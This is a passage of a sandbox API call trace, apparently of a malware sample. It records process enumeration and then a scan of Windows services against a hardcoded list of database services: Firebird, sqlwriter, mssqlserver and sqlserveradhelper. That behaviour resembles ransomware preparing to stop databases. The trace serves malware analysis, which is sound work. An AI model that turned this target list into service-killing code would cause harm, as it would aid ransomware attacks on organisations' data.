szExeFile="dwm.exe")) returned 1 [0159.287] lstrlenW (lpString="dwm.exe") returned 7 [0159.287] Process32NextW (in: hSnapshot=0x344, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.288] lstrlenW (lpString="svchost.exe") returned 11 [0159.288] Process32NextW (in: hSnapshot=0x344, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.289] lstrlenW (lpString="svchost.exe") returned 11 [0159.289] Process32NextW (in: hSnapshot=0x344, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.290] lstrlenW (lpString="svchost.exe") returned 11 [0159.290] Process32NextW (in: hSnapshot=0x344, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.290] lstrlenW (lpString="svchost.exe") returned 11 [0159.290] Process32NextW (in: hSnapshot=0x344, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.291] lstrlenW (lpString="svchost.exe") returned 11 [0159.291] Process32NextW (in: hSnapshot=0x344, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.292] lstrlenW (lpString="svchost.exe") returned 11 [0159.292] Process32NextW (in: hSnapshot=0x344, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.293] lstrlenW (lpString="svchost.exe") returned 11 [0159.293] Process32NextW (in: hSnapshot=0x344, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.294] lstrlenW (lpString="svchost.exe") returned 11 [0159.294] Process32NextW (in: hSnapshot=0x344, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.294] lstrlenW (lpString="svchost.exe") returned 11 [0159.294] Process32NextW (in: hSnapshot=0x344, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.295] lstrlenW (lpString="svchost.exe") returned 11 [0159.295] Process32NextW (in: hSnapshot=0x344, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x608, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0159.296] lstrlenW (lpString="spoolsv.exe") returned 11 [0159.296] Process32NextW (in: hSnapshot=0x344, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.297] lstrlenW (lpString="svchost.exe") returned 11 [0159.297] Process32NextW (in: hSnapshot=0x344, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0159.298] lstrlenW (lpString="audiodg.exe") returned 11 [0159.298] Process32NextW (in: hSnapshot=0x344, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0159.299] lstrlenW (lpString="taskhostw.exe") returned 13 [0159.299] Process32NextW (in: hSnapshot=0x344, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0159.300] lstrlenW (lpString="sihost.exe") returned 10 [0159.300] Process32NextW (in: hSnapshot=0x344, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.300] lstrlenW (lpString="svchost.exe") returned 11 [0159.300] Process32NextW (in: hSnapshot=0x344, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0159.301] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0159.301] Process32NextW (in: hSnapshot=0x344, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0159.302] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0159.302] Process32NextW (in: hSnapshot=0x344, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0159.303] lstrlenW (lpString="Memory Compression") returned 18 [0159.303] Process32NextW (in: hSnapshot=0x344, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0159.304] lstrlenW (lpString="taskhostw.exe") returned 13 [0159.304] Process32NextW (in: hSnapshot=0x344, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0159.305] lstrlenW (lpString="msoia.exe") returned 9 [0159.305] Process32NextW (in: hSnapshot=0x344, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x47, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0159.305] lstrlenW (lpString="explorer.exe") returned 12 [0159.305] Process32NextW (in: hSnapshot=0x344, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0159.306] lstrlenW (lpString="SearchUI.exe") returned 12 [0159.306] Process32NextW (in: hSnapshot=0x344, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0159.307] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0159.307] Process32NextW (in: hSnapshot=0x344, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0159.308] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0159.308] Process32NextW (in: hSnapshot=0x344, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0159.309] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0159.309] Process32NextW (in: hSnapshot=0x344, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0159.309] lstrlenW (lpString="mobsync.exe") returned 11 [0159.310] Process32NextW (in: hSnapshot=0x344, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0xa38, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0159.310] lstrlenW (lpString="wmxsde.exe") returned 10 [0159.310] Process32NextW (in: hSnapshot=0x344, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa38, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0159.311] lstrlenW (lpString="wmxsde.exe") returned 10 [0159.311] Process32NextW (in: hSnapshot=0x344, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdd8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0159.816] lstrlenW (lpString="cmd.exe") returned 7 [0159.816] Process32NextW (in: hSnapshot=0x344, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0159.817] lstrlenW (lpString="conhost.exe") returned 11 [0159.817] Process32NextW (in: hSnapshot=0x344, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0159.818] CloseHandle (hObject=0x344) returned 1 [0159.819] Sleep (dwMilliseconds=0x1f4) [0160.487] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x74dd60 [0160.503] EnumServicesStatusExW (in: hSCManager=0x74dd60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 0 [0160.504] GetLastError () returned 0xea [0160.504] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1bbc) returned 0x78e100 [0160.504] EnumServicesStatusExW (in: hSCManager=0x74dd60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x78e100, cbBufSize=0x1bbc, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x78e100, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 1 [0160.505] CloseServiceHandle (hSCObject=0x74dd60) returned 1 [0160.505] lstrlenW (lpString="AppXSvc") returned 7 [0160.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0160.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0160.505] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0160.506] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0160.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0160.506] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0160.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0160.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0160.506] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0160.506] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0160.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0160.506] lstrlenW (lpString="Audiosrv") returned 8 [0160.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0160.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0160.506] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0160.506] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0160.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0160.506] lstrlenW (lpString="BFE") returned 3 [0160.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0160.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0160.506] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0160.506] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0160.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0160.506] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0160.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0160.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0160.506] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0160.506] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0160.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0160.507] lstrlenW (lpString="CDPSvc") returned 6 [0160.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0160.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0160.507] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0160.507] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0160.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0160.507] lstrlenW (lpString="ClickToRunSvc") returned 13 [0160.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0160.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0160.507] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0160.507] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0160.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0160.507] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0160.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0160.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0160.507] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0160.507] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0160.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0160.507] lstrlenW (lpString="CryptSvc") returned 8 [0160.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0160.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0160.507] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0160.507] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0160.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0160.507] lstrlenW (lpString="DcomLaunch") returned 10 [0160.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0160.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0160.508] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0160.508] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0160.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0160.508] lstrlenW (lpString="DeviceAssociationService") returned 24 [0160.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0160.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0160.508] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0160.508] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0160.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0160.508] lstrlenW (lpString="Dhcp") returned 4 [0160.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0160.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0160.508] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0160.508] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0160.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0160.508] lstrlenW (lpString="Dnscache") returned 8 [0160.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0160.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0160.508] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0160.508] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0160.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0160.508] lstrlenW (lpString="DPS") returned 3 [0160.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0160.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0160.508] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0160.508] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0160.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0160.508] lstrlenW (lpString="DsmSvc") returned 6 [0160.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1 [0160.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1 [0160.509] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1 [0160.509] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1 [0160.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1 [0160.509] lstrlenW (lpString="DusmSvc") returned 7 [0160.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0160.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0160.509] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0160.509] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0160.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0160.509] lstrlenW (lpString="EventLog") returned 8 [0160.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0160.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0160.509] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0160.509] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0160.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0160.509] lstrlenW (lpString="EventSystem") returned 11 [0160.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0160.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0160.509] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0160.509] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0160.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0160.509] lstrlenW (lpString="FontCache") returned 9 [0160.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0160.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0160.509] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0160.509] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0160.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0160.509] lstrlenW (lpString="gpsvc") returned 5 [0160.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0160.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0160.509] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0160.510] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0160.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0160.510] lstrlenW (lpString="iphlpsvc") returned 8 [0160.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0160.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0160.510] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0160.510] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0160.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0160.510] lstrlenW (lpString="KeyIso") returned 6 [0160.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0160.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0160.510] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0160.510] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0160.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0160.510] lstrlenW (lpString="LanmanServer") returned 12 [0160.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0160.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0160.510] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0160.510] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0160.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0160.510] lstrlenW (lpString="LanmanWorkstation") returned 17 [0160.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0160.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0160.510] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0160.510] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0160.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0160.510] lstrlenW (lpString="lfsvc") returned 5 [0160.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0160.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0160.510] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0160.511] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0160.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0160.511] lstrlenW (lpString="lmhosts") returned 7 [0160.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0160.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0160.511] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0160.511] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0160.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0160.511] lstrlenW (lpString="LSM") returned 3 [0160.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0160.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0160.511] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0160.511] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0160.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0160.511] lstrlenW (lpString="MpsSvc") returned 6 [0160.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0160.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0160.511] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0160.511] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0160.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0160.511] lstrlenW (lpString="NcbService") returned 10 